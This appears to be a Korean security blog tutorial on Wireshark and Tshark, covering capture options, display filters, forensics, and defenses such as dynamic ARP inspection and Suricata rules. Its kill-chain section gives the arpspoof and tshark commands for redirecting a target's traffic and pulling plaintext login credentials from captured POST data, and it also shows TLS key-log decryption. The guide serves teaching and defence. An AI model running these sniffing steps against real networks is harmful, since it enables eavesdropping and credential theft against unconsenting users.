
💡 Wireshark (와이어샤크) 심층 분석 및 실무 가이드
📌 핵심 요약 (TL;DR)
- 본질: 네트워크 인터페이스를 무차별 모드(Promiscuous)로 전환하여 커널을 통과하는 원시 패킷을 캡처하고, 프로토콜 해부기(Dissector)를 통해 통신 내역을 현미경처럼 분석하는 세계 표준 네트워크 분석기임.
- 위협 및 목적: 해커는 ARP 스푸핑 등 MITM 환경을 구성하여 평문 자격 증명을 탈취하며, 방어자는 침해 사고 발생 시 악성코드의 C2 통신 페이로드를 리버스 엔지니어링하기 위한 포렌식 증거로 활용함.
- 대응 방안: L2 스위치 포트 보안(Dynamic ARP Inspection)을 강제하여 무단 미러링을 차단하고, L7 트래픽 전체에 종단간 암호화(TLS 1.3) 기반의 제로 트러스트(Zero Trust)를 인포싱해야 함.
📑 목차 (Table of Contents)
⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행됨.
허가되지 않은 타인의 시스템에 대한 무단 패킷 캡처(Sniffing) 및 페이로드 열람 시도는 「통신비밀보호법」 및 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 위반으로 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 작성됨.📖 학습 목적: 보안 취약점의 동작 원리를 이해하고 방어 전략을 수립하기 위한 학습 및 지식 공유 목적임. 모든 실습은 허가된 통제 환경에서만 진행함.
자주 등장하는 용어 (초보자 참고)
| 약어 | 전체 명칭 | 한 줄 설명 |
|---|---|---|
Pcap |
Packet Capture | 와이어샤크가 네트워크 트래픽을 캡처하고 덤프 데이터를 저장하는 글로벌 표준 파일 포맷 |
BPF |
Berkeley Packet Filter | 커널 레벨에서 패킷을 초고속으로 필터링하는 엔진 (와이어샤크의 캡처 필터에 사용됨) |
Promiscuous |
Promiscuous Mode | 무차별 모드. 자신의 MAC과 일치하지 않는 패킷도 버리지 않고 모두 CPU로 올려보내는 상태 |
Dissector |
Protocol Dissector | 원시 바이트 스트림을 사람이 읽을 수 있는 HTTP, TCP 등의 구조화된 트리 형태로 번역하는 해부기 |
MITM |
Man-In-The-Middle | 해커가 클라이언트와 서버 사이의 통신 흐름에 난입하여 패킷을 가로채거나 변조하는 공격 |
Tshark |
Terminal Wireshark | 와이어샤크의 GUI를 제거하고 CLI(터미널) 환경에서 동작하도록 설계된 초고속 패킷 분석기 |
DFIR |
Digital Forensics & Incident Response | 디지털 포렌식 및 침해사고 대응을 의미하는 분야 |
1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지
- 난이도: 중급 ~ 고급
- 주제 분류: 오펜시브 툴(스니핑) / 방어 툴(포렌식) / 네트워크 보안
- 핵심 키워드:
#Wireshark#Tshark#패킷분석#스니핑#네트워크포렌식 - 사전 지식: TCP/IP 4계층 모델, BPF 필터 문법, TLS 핸드셰이크 메커니즘, L2 스위칭 원리
(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장.)
| 구분 | OS / 플랫폼 (버전 필수) | 컨테이너 / 네트워크 환경 | IP 대역 | 인프라 내 역할 |
|---|---|---|---|---|
| 공격 (Red) | Kali Linux 2026.x | 네이티브 모의 공격망 | 10.0.0.50/24 |
ARP 스푸핑 수행 후 Tshark를 통해 타겟의 평문 자격 증명 트래픽 스니핑 및 덤프 |
| 타겟 (Target) | Ubuntu 24.04 / Nginx 1.24 | 온프레미스 DMZ 서버망 | 10.0.0.100/24 |
해커의 MITM 공격에 노출되어 평문 HTTP 페이로드를 전송하는 희생자 노드 |
| 방어 (Blue) | Graylog 5.x / OPNsense 24.x | 온프레미스 망분리 구성 | 10.0.0.200/24 |
코어 스위치 미러링(SPAN) 포트에서 트래픽을 상시 캡처하여 침해 사고 증거로 보존 |
아키텍처 통신 흐름도
[클라이언트 : 10.0.0.20] [L2 코어 스위치 (SPAN 활성)] [타겟 서버 : 10.0.0.100]
| | |
|-- (1) 로그인: HTTP POST (평문 폼 전송) ---->| (패킷 복제 및 릴레이) |
| |-- (원래 목적지로 포워딩) --------->|
| | |
| [Wireshark 관제/공격 노드 : 10.0.0.50] <--- (2) 미러링된 트래픽 복제 전달 -----|
| | |
| |-- (3) Wireshark/Tshark 패킷 해부 -> ID/PW 탈취 및 Pcap 저장
2. 🧠 핵심 개념 및 기술적 정의
2-1. 상세 정의 및 동작 메커니즘
- 정의: 이더넷(Ethernet) 등 물리적/논리적 네트워크 인터페이스 카드(NIC)를 통과하는 패킷을 캡처하고, 내장된 프로토콜 규격에 맞춰 계층별(L2~L7)로 시각화하는 디지털 현미경임.
- 탄생 배경: 1998년 Gerald Combs가 고가의 상용 네트워크 스니퍼를 대체하기 위해 Ethereal이라는 이름으로 오픈소스화하였으며, 현재 전 세계 네트워크/보안 엔지니어의 필수 불가결한 표준으로 자리 잡음.
- 인프라 내 역할: (공격) 보호되지 않은 통신망에서 민감 데이터를 훔쳐내는 도청 장치로 작동함. (방어) IDS가 탐지한 알람의 실제 원시 페이로드를 눈으로 확인하고 침해 사고의 진원을 역추적하는 블랙박스 역할을 수행함.
- 메커니즘: WinPcap/Npcap 또는 libpcap 라이브러리를 통해 OS 커널의 네트워크 스택을 후킹함. NIC를 무차별(Promiscuous) 모드로 전환하여 패킷을 캡처한 뒤, BPF 기반 캡처 필터로 1차 정제하고, Dissector 엔진이 바이트 단위로 페이로드를 해체함.
- 버전 히스토리: 최신 버전에서는 Npcap 드라이버가 기본 채택되어 루프백 캡처 성능이 향상되었으며, TLS 1.3 및 QUIC 프로토콜 동적 복호화 엔진이 고도화됨.
2-2. MITRE ATT&CK & Kill Chain 매핑
| Kill Chain Phase | MITRE Tactic (전술) | Technique (기법) | ID |
|---|---|---|---|
| Reconnaissance | Credential Access | Network Sniffing | T1040 |
| Exploitation | Credential Access | Adversary-in-the-Middle (MITM) | T1557 |
| Exploitation | Discovery | Network Traffic Discovery | T1040 |
| Actions on Objectives | Collection | Data from Local System | T1005 |
| Actions on Objectives | Exfiltration | Exfiltration Over Alternative Protocol | T1048 |
3. ⚙️ 주요 특징 및 통신 규격
3-1. 기술적 핵심 특징
특징 1 — 듀얼 필터링 아키텍처: 커널 단에서 패킷을 필터링하여 리소스를 아끼는 '캡처 필터(BPF)'와, 저장된 Pcap에서 원하는 문자열만 파싱하는 '디스플레이 필터'의 이원화된 엔진을 제공함.특징 2 — 종단간 스트림 어셈블리: 파편화되어 캡처된 수백 개의 TCP 시퀀스 패킷을 병합 조립하여, 탈취한 파일이나 웹페이지를 단일 텍스트/Hex 스트림으로 복원(Follow TCP Stream)함.특징 3 — 동적 암호화 복호화: 브라우저 세션 키(SSLKEYLOGFILE)나 서버 개인 키를 주입하여, 캡처된 TLS/SSL 암호화 페이로드를 실시간 평문으로 해독함.특징 4 — 에러 처리 및 로깅: 화면 렌더링 외에도 Tshark를 활용해 패킷 버퍼를 특정 용량(Ring Buffer)으로 롤링 백업하여 디스크 풀(Full) 장애를 방지함.특징 5 — 무한한 프로토콜 확장성: 3,000개 이상의 내장 Dissector를 보유하여 SCADA/Modbus, 블루투스, USB 패킷까지 완벽히 파싱함.특징 6 — 의존성 및 통합 포인트: 출력된 Pcap 및 텍스트 데이터는 Security Onion, Suricata 등 위협 헌팅(Threat Hunting) 프레임워크와 즉시 연동됨.특징 7 — 기본 보안 설정 (Default Security Posture): Tshark 구동 시 권한 분리가 설정되어 있지 않으면 커널 패킷 후킹이 원천 차단되므로 반드시 권한 승격(sudo)이 필요함.
3-2. 실무 관점 장단점 (Pros & Cons)
| 구분 | 시스템 관점 특성 | 보안 및 실무 관점의 트레이드오프 |
|---|---|---|
| 장점 1 | 절대적 가시성 확보 | 단순 로그가 아닌 통신의 페이로드 자체를 보여주므로 100% 확실한 증거 기반 포렌식이 가능함 |
| 장점 2 | CLI 파이프라인 연계 (Tshark) | 무거운 GUI를 배제하고 특정 헤더 데이터만 추출하여 bash 파이프라인 자동화에 완벽히 호환됨 |
| 장점 3 | 프리 오픈소스 크로스 플랫폼 | 라이선스 비용 없이 이기종 인프라 전역에 즉시 배포 및 구동이 가능함 |
| 단점 1 | 막대한 스토리지 소모 | 백본망에서 필터 없이 캡처 시 수 분 만에 디스크 장애 및 OOM(Out of Memory) 크래시가 발생함 |
| 단점 2 | 자체 방어 기능 부재 | 수동적 분석 도구이므로 패킷을 차단(Drop)하는 능동형 IPS 기능은 전무함 |
| 단점 3 | PFS 복호화 한계 | ECDHE 등 최신 완벽 전방 향성(PFS) 사용 시 사후 복호화가 원천적으로 불가능함 |
3-3. 서비스 포트 및 통신 규격 (IANA Protocol Specification)
Wireshark 자체는 특정 포트로 통신하지 않으나, 스니핑 시 포렌식 타겟이 되는 핵심 규격임.
| 포트 | 프로토콜 | 서비스명 | IANA 공식 역할 | 보안 위협 및 공격 벡터 |
|---|---|---|---|---|
21 |
TCP | FTP | 파일 전송 제어 채널 | 평문 기반의 인증 정보 및 전송 파일(Pcap) 그대로 노출 |
53 |
UDP/TCP | DNS | 도메인 네임 시스템 | 악성 C2 서버 도메인 쿼리 및 DNS 터널링 데이터 유출 타겟 |
80/443 |
TCP | HTTP/S | 웹 데이터 통신 | 평문 폼 데이터 탈취 및 브라우저 세션 하이재킹 벡터 |
445 |
TCP | SMB | 파일 및 프린터 공유 | 내부망 횡적 이동(Lateral Movement) 시 랜섬웨어 페이로드 전파 로깅 |
N/A |
L2 | ARP/ICMP | 주소 결정 및 제어 메시지 | 무차별 ARP 스푸핑 스니핑 징후 및 ICMP 핑거프린팅 로깅 타겟 |
4. 🛠️ 인프라 셋업 및 구축 명세
4-1. 사전 요구 사항 (Dependencies)
- 패키지:
wireshark(GUI 컴포넌트) 및tshark(CLI 컴포넌트) 패키지. - 환경 변수: 일반 유저 계정은 Promiscuous 모드 접근이 불가하므로 시스템 그룹(
wireshark) 편입 또는sudo권한 인포싱 필수.
4-2. 시스템 구축 (Step-by-Step)
# [Step 1: 시스템 패키지 업데이트 및 Tshark 코어 설치 (Kali Linux 기준)]
apt update && apt install -y wireshark tshark
# [Step 2: 비-루트 사용자의 패킷 캡처 권한 허용 설정 강제화]
dpkg-reconfigure wireshark-common
usermod -aG wireshark $USER
# [Step 3: 권한 재적용 및 캡처 가능 인터페이스 리스트 덤프 검증]
tshark -D
(📝 동작 해설: tshark -D 명령어로 커널에 마운트된 eth0, wlan0 등 캡처 가능한 가상/물리 네트워크 인터페이스 리스트를 식별함.)
5. 📖 상세 명세 (명령어 / API / 프로토콜)
5-1. 기본 구문 및 명령어 구조 (Syntax)
실무 자동화의 핵심인 Tshark를 기준으로 파라미터 구조를 전수 명세함.
📌 Syntax 표기법: <필수항목> = 반드시 입력 (Required) · [선택항목] = 생략 가능 (Optional)
# CLI 툴킷(Tshark) 명령어 구조
<바이너리명> [옵션_플래그] [서브_파라미터] <타겟_또는_필터>
파라미터별 상세 설명
| 파라미터 | 필수 여부 | 타입 | 역할 및 설명 | 실전 값 예시 |
|---|---|---|---|---|
<바이너리명> |
필수 | 실행 파일 | libpcap 엔진을 호출하여 패킷 분석 프로세스를 생성함. | tshark |
[옵션_플래그] |
선택 | 스위치 | I/O 인터페이스 지정, 출력 포맷, 파일 덤프 옵션을 제어함. | -i, -w, -Y, -T |
[서브_파라미터] |
선택 | 값 | 옵션 플래그에 전달되는 구체적인 인터페이스명이나 필드명. | eth0, fields |
<타겟_또는_필터> |
선택 | 문자열 | BPF 캡처 필터나 와이어샤크 전용 디스플레이 필터 식. | "tcp port 80" |
실전 명령어 예시 — 구성 요소 대조
| 전체 명령어 | 바이너리 | 옵션 플래그 | 서브 파라미터 | 타겟/필터 |
|---|---|---|---|---|
tshark -i eth0 -f "tcp port 80" |
tshark |
-i ... -f |
eth0 |
"tcp port 80" |
tshark -r dump.pcap -Y "http" |
tshark |
-r ... -Y |
dump.pcap |
"http" |
5-2. 실행 옵션 및 제어 플래그 전체 목록 (Execution Flags)
🔗 연결 및 캡처 제어 옵션
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
-i |
패킷 캡처를 수행할 특정 인터페이스 지정 | tshark -i eth0 |
스니핑 대상이 되는 물리/논리적 망 분리 타겟팅 |
-f |
BPF 캡처 필터 적용 (커널 단 필터링) | tshark -i eth0 -f "host 10.0.0.1" |
불필요한 트래픽을 커널에서 버려 CPU 및 메모리 보호 |
-p |
Promiscuous 모드 비활성화 (기본값은 활성) | tshark -i eth0 -p |
자신의 MAC 주소로 향하는 정상 패킷만 로깅 시 사용 |
🔐 인증 및 복호화 제어 옵션
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
-o tls.keylog_file |
외부 브라우저 세션 키 파일을 주입하여 TLS 복호화 | tshark -r a.pcap -o tls.keylog_file:key.log |
탈취한 세션 키로 HTTPS 페이로드 평문 포렌식 분석 |
-o wlan.wep_key |
무선 랜(802.11) 암호화 패킷 강제 복호화 | tshark -i wlan0 -o wlan.wep_key:12345 |
무선 해킹 시도 시 암호화된 내부망 페이로드 추출 |
📄 출력 및 포맷 정제 옵션
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
-w |
캡처 결과를 화면 대신 PCAP/PCAPNG 파일로 덤프 | tshark -i eth0 -w incident.pcap |
침해 사고 증거 보존 및 오프라인 정밀 리버싱 대비 |
-r |
저장된 PCAP 파일을 불러와 읽기 전용 분석 수행 | tshark -r incident.pcap -Y "http" |
디스크에 저장된 블랙박스 데이터 재구성 및 파싱 |
-T fields -e |
특정 프로토콜 필드(예: IP, Host)만 텍스트로 추출 | tshark -r a.pcap -T fields -e ip.src |
방대한 패킷에서 침해 지표(IoC)만 정제하여 쉘 스크립트 연계 |
-V |
패킷의 프로토콜 계층 트리를 끝까지 전개하여 출력 | tshark -r a.pcap -V -c 1 |
특정 단일 악성 패킷의 헥스(Hex) 및 헤더 딥 다이브 분석 |
⏱ 타이밍 및 버퍼 롤링 옵션
| 플래그 | 동작 원리 및 공식 매뉴얼 기반 설명 | 완전한 실전 사용 예시 | 실무/보안 활용 관점 |
|---|---|---|---|
-c |
패킷 수 제한. N개 캡처 후 프로세스 자동 종료 | tshark -i eth0 -c 100 |
스니핑 툴킷 테스트 및 단기 프로브 수집용 튜닝 |
-a duration: |
지정된 시간(초) 동안만 캡처 수행 후 종료 | tshark -i eth0 -a duration:60 |
스케줄러(Cron)와 연동한 주기적 보안 관제 트래픽 스냅샷 |
-b filesize: |
파일 사이즈 제한 기반 링 버퍼(Ring Buffer) 백업 | tshark -i eth0 -w cap.pcap -b filesize:1000 |
스토리지 100% 장애를 방지하는 엔터프라이즈 영구 관제 셋업 |
자주 쓰는 옵션 조합
| 목적 | 조합 예시 |
|---|---|
| 특정 호스트의 HTTP만 캡처 및 저장 | tshark -i eth0 -f "host 10.0.0.1" -Y "http" -w web.pcap |
| 파일 자동 롤링 (10MB 단위) 무한 캡처 | tshark -i eth0 -b filesize:10000 -w rolling.pcap |
| PCAP에서 특정 필드만 파이프라인 추출 | tshark -r dump.pcap -T fields -e http.host | sort -u |
| TLS 세션 복호화 후 텍스트 출력 | tshark -r dump.pcap -o tls.keylog... -V |
5-3. 비대화형 파이프라인 연계 명령어 (Non-Interactive Commands)
🔍 정찰 및 열거 (인터페이스 및 통계 파싱)
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
tshark -D |
OS 커널에 마운트된 전체 네트워크 인터페이스 리스트를 번호와 함께 텍스트로 열거함 | tshark -D |
tshark -r dump.pcap -q -z endpoints,ip |
Pcap 파일 내부의 모든 IP 엔드포인트 통계(송수신 패킷/바이트 수)를 요약 렌더링함 | tshark -r dump.pcap -q -z endpoints,ip |
💥 익스플로잇 및 페이로드 축출 (Payload Extraction)
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
tshark -r dump.pcap -Y "http.request.method==POST" -T fields -e text |
캡처본에서 POST 전송 패킷만 필터링하여 폼 데이터(평문 ID/PW) 텍스트 밸류만 탈취함 | tshark -r dump.pcap -Y "http...POST" -T fields -e text |
tshark -r dump.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg |
FTP 통신의 평문 인증 페이로드(USER, PASS) 및 명령어 인자만 스크래핑함 | tshark -r dump.pcap -Y "ftp" -T fields -e ftp.request.arg |
🎯 포스트 익스플로잇 및 포렌식 유틸리티 (Post-Exploitation)
| 명령어 | 파싱 메커니즘 및 런타임 결과 | 완전한 실전 사용 예시 |
|---|---|---|
tshark -r dump.pcap -Y "tcp.flags.syn==1" -T fields -e ip.src | sort | uniq -c |
포트 스캐닝(Nmap)을 시도한 공격자의 출발지 IP별 SYN 패킷 개수를 쉘 스크립트로 카운팅함 | tshark -r dump.pcap -Y "tcp.flags.syn==1" -T fields... |
tshark -r dump.pcap -q -z io,phs |
전체 프로토콜 계층(Protocol Hierarchy) 트리를 분석하여 비정상 트래픽 비율을 검출함 | tshark -r dump.pcap -q -z io,phs |
5-4. 대화형 내부 런타임 명령어 (Interactive Controls - GUI 단축키)
(Wireshark GUI 환경에서 관제 및 분석 속도를 극대화하는 런타임 대화형 단축키 명세임.)
🗂 탐색 및 런타임 제어
| 내부 명령 (단축키) | 기술적 동작 및 설명 | 실전 적용 시나리오 |
|---|---|---|
[Ctrl] + [F] |
Pcap 내부에서 특정 Hex 값, 텍스트 문자열, 필터 식을 즉각 검색하는 대화형 바 호출 | 숨겨진 악성코드 시그니처 헥스 덤프 추적 시 |
[Ctrl] + [Alt] + [Shift] + [T] |
선택한 패킷이 속한 TCP 전체 세션을 병합하여 L7 페이로드를 단일 평문 텍스트 창으로 복원함 | 해커가 탈취한 리버스 쉘 텍스트 스트림 전체 열람 시 |
[Ctrl] + [Shift] + [O] |
캡처 옵션을 열어 Ring Buffer(파일 롤링) 크기를 동적으로 조절함 | 디스크 풀(Full) 장애 예방 및 장기 관제 튜닝 시 |
6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)
실전 모의해킹 관제 및 침해사고 포렌식 시 직관적으로 위협을 핀포인트(Pin-point) 타격하는 디스플레이 필터(Display Filter) 치트시트임.
| 페이로드 (Display Filter) | 파싱 메커니즘 및 런타임 결과 | 목적 / 우회 기법 (탐지) |
|---|---|---|
http.request.method == "POST" |
HTTP 통신 중 폼 데이터(ID/PW 등)를 전송하는 POST 메서드 패킷만 필터링함 | 관리자 페이지 평문 자격증명 탈취 여부 신속 점검 |
tls.handshake.type == 1 |
TLS 통신을 시작할 때 클라이언트가 보내는 Client Hello 패킷만 추출함 | SNI 헤더를 열람하여 암호화 통신의 진짜 악성 목적지 도메인 식별 |
tcp.analysis.retransmission |
방화벽 차단이나 부하로 인해 TCP 재전송이 발생한 패킷만 필터링 렌더링함 | L4 장비 과부하 및 묵살(Drop) 패킷에 의한 통신 장애 원인 진단 |
dns.qry.type == 255 |
DNS 질의 중 모든 레코드(ANY)를 요구하는 비정상 패킷을 필터링함 | DNS 터널링 기반 데이터 유출 또는 서브도메인 존 트랜스퍼 징후 헌팅 |
ip.src == 10.0.0.50 && icmp |
특정 악성 IP에서 발송된 ICMP 패킷 덩어리만 강제 추출함 | 해커가 핑(Ping)을 날리며 내부망을 횡적 정찰(Discovery)하는 행위 색출 |
7. 🎯 심층 킬체인 워크플로우 (Deep Dive)
7-1. 취약점 식별 (CVE / CWE)
Wireshark 스니핑을 통해 즉각적으로 노출되고 장악당하는 치명적 설계 결함(CWE) 목록임.
| 식별 코드 | 취약점 명칭 및 익스플로잇 연계 원리 | 파급력 (Impact) | 대응/패치 방안 |
|---|---|---|---|
CWE-319 |
Cleartext Transmission — HTTP, Telnet, FTP 통신을 와이어샤크 스트림으로 그대로 읽어냄 |
캡처 단 1초 만에 최고 권한 세션 탈취 및 인프라 장악 | 사내망을 불문하고 모든 웹/터미널 세션에 종단간 암호화(TLS) 강제 적용 |
CWE-287 |
Improper Authentication — 캡처된 평문 세션 쿠키(Cookie)를 해커 브라우저에 그대로 재사용 주입함 | 비밀번호 크랙 절차 없이 즉각적인 관리자 계정 권한 우회 우회 | 쿠키에 Secure 플래그를 설정하고 Session 토큰의 잦은 만료 강제 |
CWE-311 |
Missing Encryption of Sensitive Data — 백엔드 DB와 WAS 간 SQL 쿼리가 내부망이라는 이유로 평문 전송됨 | 인프라 내부망 침투 시 와이어샤크 덤프로 전 고객 개인정보 SQL 쿼리 탈취 | DB 커넥터 통신 규격에 SSL/TLS 인크립션 파라미터를 필수 활성화함 |
7-2. 킬체인 전개 스텝 분석
- 난이도: 초급
- 전제: 사내망 스위치에 접근 권한을 얻은 악의적 내부자(Red Team)가 MITM 스니핑 환경을 구축함.
- 탐지 가능성:
Low(스니핑 행위 자체는 패킷을 쏘지 않는 수동적 청취이므로 탐지 불가)
Phase 1 — 트래픽 우회 및 무차별 모드 캡처 (Reconnaissance & MITM)
# 해커가 ARP 스푸핑을 구동하여 타겟(10.0.0.100)의 트래픽을 자신의 노드(eth0)로 우회시킴
arpspoof -i eth0 -t 10.0.0.100 10.0.0.1
# Tshark를 백그라운드 구동하여 우회된 HTTP 평문 페이로드를 Pcap으로 조용히 덤프
tshark -i eth0 -w credential_theft.pcap
Phase 2 — 오프라인 패킷 덤프 파싱 (Exploitation Setup)
# 덤프된 Pcap 파일에서 디스플레이 필터를 조작하여 POST 폼 데이터만 텍스트로 축출함
tshark -r credential_theft.pcap -Y 'http.request.method == "POST"' -T fields -e text
Phase 3 — 탈취 및 목표 달성 (Actions on Objectives)
# [결과 렌더링: 평문 자격 증명 페이로드 탈취 완료]
userid=admin&password=SuperSecretPassword123!&login=submit
8. ⚔️ 실전 심화 시나리오
📘 Scenario: 브라우저 임시 세션 키를 활용한 TLS 암호화 트래픽 복호화 포렌식
- 학습 목표: 악성코드가 TLS 기반의 HTTPS 통신을 수행할 때, 엔드포인트에서 획득한 임시 세션 키(
SSLKEYLOGFILE) 변수를 Wireshark에 주입하여 암호화된 트래픽 덤프를 평문으로 복호화함.
# [Step 1: 시스템 환경 변수 강제 설정 (엔드포인트)]
# 운영체제 쉘 환경에서 브라우저가 통신 암호화 키를 특정 파일에 로깅하도록 지시함.
export SSLKEYLOGFILE="/tmp/tls_keys.log"
# [Step 2: 타겟 브라우저 실행 및 악성 C2 통신 유도]
google-chrome-stable --no-sandbox &
# 브라우저가 HTTPS 통신을 할 때마다 대칭키(세션키)가 tls_keys.log 파일에 지속 누적됨.
# [Step 3: Wireshark CLI 복호화 엔진 세팅 및 평문 파싱]
# Tshark에 저장된 Pcap 파일과 탈취한 세션 키 파일을 매핑하여 HTTP 평문 헤더를 강제 렌더링함.
tshark -r encrypted.pcap -o tls.keylog_file:/tmp/tls_keys.log -Y "http" -V
9. 🩹 트러블슈팅 및 장애 대응 (RCA)
| 에러 로그 (Symptom) | 발생 원인 (Root Cause) | 해결책 (Resolution) |
|---|---|---|
The capture session could not be initiated on interface 'eth0'. |
일반 사용자 계정으로 실행하여 커널의 NET_RAW 캡처 소켓 접근이 시스템단에서 묵살됨 |
sudo tshark로 권한을 승격하거나 사용자 계정을 wireshark OS 그룹에 편입 후 재부팅 |
tshark: Dropped 15324 packets (buffer overflow) |
10Gbps 대규모 백본망 트래픽을 BPF 필터 없이 수집하여 메모리 버퍼 한계치 도달 후 붕괴함 | -B 100 (버퍼 사이즈 증설) 옵션과 BPF 캡처 필터(-f "tcp port 80")를 결합하여 튜닝 적용 |
| Wireshark GUI 로딩 중 OOM(Out of Memory) 크래시 다운 | 수 기가바이트(GB)에 달하는 덤프 파일을 단일 메모리에 한 번에 올리려다 프로세스 데드락 발생 | 거대한 파일을 editcap 유틸리티를 사용하여 100MB 단위의 청크(Chunk)로 쪼갠 후 개별 로드 |
10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링
10-1. MITRE D3FEND 매핑
| 방어 전술 (Tactic) | 방어 기법 (Technique) | 차단 원리 및 메커니즘 | ID (Code) |
|---|---|---|---|
Isolate |
Network Traffic Filtering | 스위치 포트 레벨에서 무단 SPAN 설정 및 비정상 트래픽 미러링 통제 | D3-NTF |
Detect |
Local ARP Inspection | 스위치에서 동적 ARP 검사(DAI)를 강제하여 스니핑의 근간인 스푸핑 차단 | D3-LAI |
Harden |
Connection Authentication | 평문 터널 접근(Telnet, HTTP)을 폐기하고 인증서 기반 세션 암호화 적용 | D3-CA |
Harden |
Message Encryption | 인프라 내부망 DB 연동 시 전송 계층 암호화(TLS 1.3) 터널링 강제 인포싱 | D3-ME |
10-2. 인프라 하드닝 및 방어 기준
- L2 물리적 보안 및 미러링 차단 아키텍처:
- 인가되지 않은 노드가 스위치에 연결해 스니핑하는 것을 원천 방어하기 위해 MAC 주소 기반 포트 보안(Port Security)을 인포싱해야 함.
- 네트워크 장비 관리 대역(Management)과 일반 서비스 트래픽 대역은 논리적(VLAN)으로 완벽히 망분리되어야 함.
10-3. IaC 기반 자동화 보안 설정 (Cisco 스위치 ARP 방어)
# [L2 스위치 방어 룰셋: 스니핑 유도의 핵심인 무차별 ARP 스푸핑 캡처 차단 (DAI)]
# 1. 특정 VLAN 대역에 대해 동적 ARP 검사(Inspection) 기능 전면 활성화
Switch(config)# ip arp inspection vlan 10,20
# 2. 방화벽/라우터로 연결되는 코어 업링크(Uplink) 포트를 신뢰할 수 있는(Trust) 포트로 지정
Switch(config)# interface GigabitEthernet0/1
Switch(config-if)# ip arp inspection trust
# 3. 일반 사용자 연결 포트는 위조된 ARP 패킷 유입 시 포트 자동 셧다운(Drop) 처리
Switch(config)# interface range GigabitEthernet0/2-24
Switch(config-if)# no ip arp inspection trust
10-4. 인시던트 대응 절차 (IR Playbook)
| 단계 | 대응 행동 | 담당 | 소요 시간 |
|---|---|---|---|
| 1. 탐지 | Graylog 대시보드에서 ARP 충돌 경보 또는 특정 포트의 비정상 트래픽 폭주 알람 인지 | SOC Analyst | T+0 |
| 2. 분석 | 침해 구간 스위치 SPAN 포트에서 Tshark를 구동하여 통신 원시 증거(Pcap) 덤프 확보 | Forensic Analyst | T+10분 |
| 3. 헌팅 | 수집된 Pcap을 로드하여 악성 C2 도메인 쿼리 및 평문 페이로드 유출 유무 필터링 파싱 | IR Team | T+30분 |
| 4. 격리 | 유출 징후 확인 시 침해 노드의 스위치 포트를 물리적 셧다운 및 노출된 계정 즉각 정지 | SysAdmin | T+1시간 |
| 5. 쇄신 | 전사 레거시 프로토콜 정책 감사 및 종단간 TLS 암호화 아키텍처 전면 배포 | DevSecOps | T+24시간 |
10-5. 침해지표 (IoC) 및 탐지 룰셋 (Suricata NIDS)
# [Suricata 룰] 스니핑 환경을 강제 구성하기 위해 사출되는 대량의 ARP 스푸핑 응답 패킷 헌팅 룰
alert arp any any -> any any (msg:"ET HUNTING Excessive ARP Replies Detected (Possible ARP Spoofing/Sniffing)"; threshold: type both, track by_src, count 50, seconds 10; classtype: attempted-recon; sid:4000001; rev:1;)
# [Suricata 룰] 안전하지 않은 평문 인증 프로토콜(Telnet) 사용 시도 즉각 차단 경보
alert tcp $HOME_NET any -> any 23 (msg:"ET POLICY Cleartext Telnet Authentication Protocol Usage"; flow:established,to_server; content:"login|3a|"; nocase; classtype:policy-violation; sid:4000002; rev:1;)
11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)
- 공식 벤더사 가이드 및 릴리즈 노트:
https://www.wireshark.org/ - NVD (National Vulnerability Database):
https://nvd.nist.gov/ - MITRE ATT&CK 기술 분석:
https://attack.mitre.org/techniques/T1040/ - OWASP 공식 가이드:
https://owasp.org/ - IANA 공식 프로토콜 명세서 (RFC):
https://datatracker.ietf.org/doc/html/rfc793 - CWE 공식 데이터베이스 (CWE-319 등):
https://cwe.mitre.org/data/definitions/319.html - Exploit-DB:
https://www.exploit-db.com/ - KISA 보안 취약점 가이드:
https://www.kisa.or.kr/
12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)
🎓 이 포스팅에서 배운 것
- 공격 관점: 무차별(Promiscuous) 모드 기반의 패킷 캡처 작동 원리와, 평문 세션 하이재킹 스니핑 메커니즘을 파악함.
- 방어 관점: 스위치 L2 포트 보안(DAI)을 통해 물리적 스니핑 인프라 구성을 원천 차단하고, Tshark를 통해 비대화형 침해 증거 수집(Pcap) 자동화 파이프라인을 익힘.
- 다음 단계: 통제된 랩 환경에서 웹 페이지 로그인 패킷을 Wireshark로 캡처해 평문 폼 데이터를 직접 탈취하고 TCP Stream을 복원하는 모의 훈련 실습을 강력히 권장함.
🔰 엔지니어링 방어 철학
(✏️ Architected by Elpam.k)
최고의 자본을 들여 클라우드에 WAF와 IPS를 구축하더라도, 데이터베이스와 WAS 간의 통신이 내부망이라는 이유만으로 평문 전송(Cleartext)되도록 방치한다면 그 인프라의 보안 등급은 0점으로 전락함. Wireshark는 네트워크가 투명한 유리알처럼 모든 것을 내보이고 있음을 해커에게 가르쳐주는 잔혹한 거울임. 보안 엔지니어는 '네트워크 내부의 모든 노드와 패킷 통신망은 언제든 스니핑당할 수 있다'는 최악의 가정을 전제로, 인프라 내 단 1바이트의 페이로드라도 암호화 터널링(TLS 1.3) 없이 전송되는 것을 절대 허용하지 않는 제로 트러스트(Zero Trust) 통제 원칙을 영구적으로 강제 인포싱해야 함.
'보안 기술 > 해킹 툴' 카테고리의 다른 글
| Netcat(nc) (0) | 2026.04.08 |
|---|---|
| cURL (0) | 2026.04.08 |
| Burp Suite (0) | 2026.04.08 |
| Gobuster (고버스터) (0) | 2026.04.08 |
| Nmap (Network Mapper) (2) | 2026.04.08 |
